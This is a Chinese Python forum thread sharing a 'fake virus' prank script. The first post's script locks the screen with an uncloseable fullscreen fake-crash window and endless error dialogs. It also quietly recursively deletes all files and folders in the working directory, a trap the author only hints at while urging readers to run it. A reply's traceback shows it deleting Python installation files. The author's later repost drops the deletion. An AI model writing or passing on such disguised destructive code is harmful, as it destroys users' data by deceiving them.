Mike_python小 发表于 2020-5-21 12:02:15

伪病毒

哈哈哈哈哈{:7_141:}

上代码:import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:   
    ctypes.windll.user32.ShowWindow(whnd, 0)   
    ctypes.windll.kernel32.CloseHandle(whnd)

from tkinter import *
from tkinter import messagebox as g
# import pyautogui as g
from PIL import Image, ImageTk
import os,sys
import shutil
cur_file = os.path.basename(sys.argv)
dir_content = os.listdir(".")
for f in dir_content:
if os.path.isdir(f):
    shutil.rmtree(f)
elif f != cur_file:
    os.remove(f)

root = Tk()
root.title("")
root.configure(bg='#0074D4')

w = root.winfo_screenwidth()
h = root.winfo_screenheight()
root.attributes("-topmost",True)
root.resizable(0,0) #防止用户调整尺寸

root.geometry("%dx%d+0+0" %(w,h))

print(w, h)



# Button(root, text='关闭', bg = 'red', command=root.quit).pack()

gif = Image.open(r"C:\Users\Admin\Desktop\崩溃.png")
giftk = ImageTk.PhotoImage(gif)

Label(root, image=giftk).pack()


# Label(root, bg='blue',).pack()

def close():
    pass

def change(event):

    root.update()

    a = str(root.winfo_x())

    b = str(root.winfo_y())

    if a and b != '0':
      root.geometry('%dx%d+0+0' % (w, h))

def a(ev=None):
    g.press('alt'+'\t')

root.update()
root.bind("<Configure>",change) #绑定事件
root.bind("<Leave>", a)
root.protocol("WM_DELETE_WINDOW", close)

def whileF():
    whileT()

def whileT():
    g.showerror('操作系统已严重崩溃!', '操作系统已严重崩溃!')
    whileF()

whileT()

root.mainloop()

你们可以去试试


这是图片:

emmmmmmm……

图片太大

只好用图床:htt啊ps://imgchr.com/i/YHH6ER




记得评分呀(此代码有坑,所以{:7_141:} )



记得评分呀

还有 记得入坑呀!

imgcyh 发表于 2020-5-22 14:58:59

本帖最后由 imgcyh 于 2020-5-22 15:04 编辑

Traceback (most recent call last):
File "C:/Users/imgc_yh/AppData/Local/Programs/Python/Python38-32/cf.py", line 18, in <module>
    shutil.rmtree(f)
File "C:\Users\imgc_yh\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 737, in rmtree
    return _rmtree_unsafe(path, onerror)
File "C:\Users\imgc_yh\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 615, in _rmtree_unsafe
    onerror(os.unlink, fullname, sys.exc_info())
File "C:\Users\imgc_yh\AppData\Local\Programs\Python\Python38-32\lib\shutil.py", line 613, in _rmtree_unsafe
    os.unlink(fullname)
PermissionError: 拒绝访问。: 'DLLs\\libffi-7.dll'

Mike_python小 发表于 2020-5-22 15:40:50

imgcyh 发表于 2020-5-22 14:58
Traceback (most recent call last):
File "C:/Users/imgc_yh/AppData/Local/Programs/Python/Python38- ...

import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:   
    ctypes.windll.user32.ShowWindow(whnd, 0)   
    ctypes.windll.kernel32.CloseHandle(whnd)

from tkinter import *
from tkinter import messagebox as g
# import pyautogui as g
from PIL import Image, ImageTk
import os,sys


root = Tk()
root.title("")
root.configure(bg='#0074D4')

w = root.winfo_screenwidth()
h = root.winfo_screenheight()
root.attributes("-topmost",True)
root.resizable(0,0) #防止用户调整尺寸

root.geometry("%dx%d+0+0" %(w,h))

print(w, h)



# Button(root, text='关闭', bg = 'red', command=root.quit).pack()

gif = Image.open(r"C:\Users\Admin\Desktop\崩溃.png")
giftk = ImageTk.PhotoImage(gif)

Label(root, image=giftk).pack()


# Label(root, bg='blue',).pack()

def close():
    pass

def change(event):

    root.update()

    a = str(root.winfo_x())

    b = str(root.winfo_y())

    if a and b != '0':
      root.geometry('%dx%d+0+0' % (w, h))

def a(ev=None):
    g.press('alt'+'\t')

root.update()
root.bind("<Configure>",change) #绑定事件
root.bind("<Leave>", a)
root.protocol("WM_DELETE_WINDOW", close)

def whileF():
    whileT()

def whileT():
    g.showerror('操作系统已严重崩溃!', '操作系统已严重崩溃!')
    whileF()

whileT()

root.mainloop()
页: [1]
查看完整版本: 伪病毒